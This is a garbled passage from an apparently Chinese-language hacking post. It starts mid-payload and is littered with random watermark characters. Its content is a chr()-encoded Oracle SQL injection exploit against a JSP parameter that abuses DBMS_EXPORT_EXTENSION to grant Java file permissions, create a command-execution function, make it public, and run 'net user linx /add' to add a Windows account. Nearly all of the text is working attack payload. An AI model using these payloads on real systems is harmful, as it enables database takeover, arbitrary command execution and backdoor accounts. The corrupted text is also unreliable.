chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||+ v3 S$ z# L# z! p: k
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
9 `# M* R- G8 T1 T z/ G6 uchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||" f( ^' u5 Y5 V! j7 T2 O) y
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
; E. n0 ^; a' Z, m: F" fchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45): u5 }& r# b' s) @+ ~! c
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
6 e; R2 H5 i* T/ x( }1 ]% q2 k2 e6 M# s* t1 R- O3 b
)
" o/ O [0 g4 o' k! L6 G
( ]: c( i; h% T; |, S! o------------------------------
( I* i: n& Q b/ x% o1 L" k/ d. C) p3 D/ F( v
2.赋Java权限
3 q6 a8 _, C1 X3 x; h/xxx.jsp?id=1 and chr(49)<>chr(50)||(
% t( U8 `& G0 L7 w; K1 L/ D( `6 F x0 Z* n6 G1 G" G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& r' N- |, f" U- fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
6 u1 ^9 A. `0 n5 l# F! A9 C2 _7 qchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
4 B) w! Q [; Hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
1 f n( c$ H/ d8 |chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
6 m: K/ o+ W. \- Y& M9 _9 e0 q" jchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
6 ~& s* H# f, Y# V! {2 hchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||: L" P2 ]: \% x+ U- r
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
2 E: i$ _8 Y3 J4 ^5 }9 bchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)|| j% R. p6 t) b
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)& F/ M, B8 W+ B; A5 W N+ Q' \
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. u9 q: b! n0 g9 g# T I( I5 v, t% ~7 J( Z9 ]! f' \. V" j8 d+ W
). u+ T, h4 h$ u$ e' |
1 r6 r# h% V( j$ B4 y3 u
readfile函数的ascii版就不写了,见谅。
: b2 [! O/ R( h4 m. F! l- f n: I* B" ]9 f' e m2 C5 p
3.创建函数1 m1 v2 G% {- V- s( |
- V3 ~; o3 E2 W+ y5 rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
) b2 V7 T) u+ A% I8 P8 Nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
0 i" t: o" [5 G+ achr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
7 Y' w2 R+ O" Z/ ochr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||( L: H5 J" O2 `+ ?, M" N
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||; b9 L; L3 Y7 G8 @
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||- S# I% x2 O) O f; d; A0 @) P( `
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||+ z& D$ L9 {# m
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
4 I+ p% @! d6 }4 y5 `# Rchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
' l+ p! f8 f: f5 |& i% xchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||/ w6 l; Z7 e( q1 g" O( `
chr(59)||chr(45)||chr(45)
& O- z% i/ W# u$ W2 t,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. K* [* l3 t% r
" ]( w2 }! t; W, G7 ]& V
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3 h) A" Y/ O+ e4 e/ t; \4.赋public执行函数的权限$ n9 ^# Q# n6 H J" K# @
8 _4 T( ] P, e8 ~2 _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
4 `! c; D) S# o3 Gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||4 \6 |4 I: c1 I/ p0 E* a
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)|| O$ Z: R8 V6 O, ]8 i
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||1 K) n& ]& Z; R$ p
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||3 m* }: u9 d k) P+ P& y
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
4 } q, t! D" b" H7 N; jchr(59)||chr(45)||chr(45) k8 \0 N+ S+ `' \
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual/ H6 M! U7 e- t$ ^
% y" p( R2 E' f% R+ U& P
5 V3 Z8 ^7 e- E
8 ~% w1 }, ]2 O% u; D M5.执行命令:' b$ e& H7 A: ~
* k# {2 y2 u2 v8 D/xxx.jsp?id=1 and chr(49)<>chr(32)||(
9 K% h( { S4 B! X0 Eselect sys.LinxRunCMD('cmd /c net user linx /add') from dual2 `( G# h7 C$ c# {3 b
)
5 v7 P' @3 j Q
/ e9 }( U: J- S/ _' [即1 P/ `% b s- g
/xxx.jsp?id=1 and chr(49)<>chr(32)||(, J( H+ L$ F% m s
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual" Z/ s2 Z) D. a: \& |6 j1 Z7 k
)4 q2 o* L( o$ L1 s" Y8 z9 O
|